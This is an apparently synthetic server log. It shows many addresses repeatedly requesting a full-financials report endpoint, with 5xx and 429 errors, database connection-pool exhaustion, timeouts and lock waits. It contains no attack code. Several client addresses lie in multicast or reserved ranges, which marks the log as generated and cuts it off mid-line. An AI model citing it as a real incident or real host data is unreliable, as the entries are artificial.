77.238.64.157 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 92.57.53.121 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:30 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:03:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:30 nginx[80]: 95.58.2.112 - - [15/Aug/2025:10:03:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:30 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:03:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:30 nginx[80]: 207.77.242.110 - - [15/Aug/2025:10:03:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:30 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:03:35 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:03:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:35 nginx[80]: 57.62.203.214 - - [15/Aug/2025:10:03:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:35 nginx[80]: 207.77.242.110 - - [15/Aug/2025:10:03:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 57.62.203.214 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 nginx[80]: 134.240.105.194 - - [15/Aug/2025:10:03:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:40 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:03:45 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:45 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:03:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:45 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:03:45 postgres[5678]: LOG: process 16347 still waiting for ShareLock on transaction 5379 after 1000.125 ms +Aug 15 10:03:50 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:03:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:50 nginx[80]: 57.62.203.214 - - [15/Aug/2025:10:03:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:50 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:03:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:55 nginx[80]: 89.16.201.49 - - [15/Aug/2025:10:03:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:55 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:03:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:55 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:03:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:00 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:04:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:00 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:04:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:00 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:04:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:00 nginx[80]: 221.45.145.143 - - [15/Aug/2025:10:04:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:00 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:04:00 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:04:05 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:04:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:05 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:04:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:05 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:04:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:05 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:04:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 95.58.2.112 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:10 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:04:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:10 postgres[5678]: LOG: process 10964 still waiting for ShareLock on transaction 5003 after 1000.125 ms +Aug 15 10:04:15 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:04:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:15 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:04:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:15 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:04:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:15 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:04:20 nginx[80]: 92.57.53.121 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 103.157.153.134 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 103.157.153.134 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:20 nginx[80]: 92.57.53.121 - - [15/Aug/2025:10:04:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:20 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:04:25 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:04:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:25 nginx[80]: 221.45.145.143 - - [15/Aug/2025:10:04:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:25 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:04:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:25 nginx[80]: 22.36.52.200 - - [15/Aug/2025:10:04:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:25 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:04:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:30 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:04:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:30 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:04:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:30 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:04:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:30 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:04:35 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 113.59.203.138 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:35 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:04:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:35 postgres[5678]: LOG: process 10157 still waiting for ShareLock on transaction 5417 after 1000.125 ms +Aug 15 10:04:40 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:04:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:40 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:04:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:40 nginx[80]: 207.77.242.110 - - [15/Aug/2025:10:04:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:40 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:04:45 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:04:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:45 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:04:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:45 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:04:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:45 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:04:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:45 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:04:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:45 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:04:50 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 113.59.203.138 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:50 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:04:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 117.119.13.79 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 162.187.29.143 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:04:55 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:04:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:00 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:05:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:00 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:05:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:00 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:05:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:00 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:05:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:00 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:05:00 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:05:00 postgres[5678]: LOG: process 15989 still waiting for ShareLock on transaction 5288 after 1000.125 ms +Aug 15 10:05:05 nginx[80]: 82.10.234.79 - - [15/Aug/2025:10:05:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:05 nginx[80]: 95.58.2.112 - - [15/Aug/2025:10:05:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:05 nginx[80]: 57.62.203.214 - - [15/Aug/2025:10:05:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:05 nginx[80]: 103.76.138.72 - - [15/Aug/2025:10:05:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:10 nginx[80]: 7.4.125.149 - - [15/Aug/2025:10:05:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:15 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:05:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:15 nginx[80]: 95.58.2.112 - - [15/Aug/2025:10:05:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:15 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:05:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:15 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:05:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:15 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:05:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:15 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:05:20 nginx[80]: 66.245.115.221 - - [15/Aug/2025:10:05:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:20 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:05:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:20 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:05:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:20 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:05:25 nginx[80]: 113.59.203.138 - - [15/Aug/2025:10:05:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:25 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:05:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:25 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:05:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:25 nginx[80]: 103.157.153.134 - - [15/Aug/2025:10:05:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:25 nginx[80]: 51.86.140.108 - - [15/Aug/2025:10:05:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:25 postgres[5678]: LOG: process 14251 still waiting for ShareLock on transaction 5784 after 1000.125 ms +Aug 15 10:05:30 nginx[80]: 77.238.64.157 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 117.119.13.79 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:30 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:05:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:30 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:05:35 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:05:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:35 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:05:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:35 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:05:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:35 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:05:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:35 nginx[80]: 103.157.153.134 - - [15/Aug/2025:10:05:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:40 nginx[80]: 219.215.112.2 - - [15/Aug/2025:10:05:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:40 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:05:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:40 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:05:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:05:40 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:05:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:40 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:05:45 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:05:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:45 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:05:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:45 nginx[80]: 221.45.145.143 - - [15/Aug/2025:10:05:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:45 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:05:50 nginx[80]: 113.59.203.138 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 66.245.115.221 - - 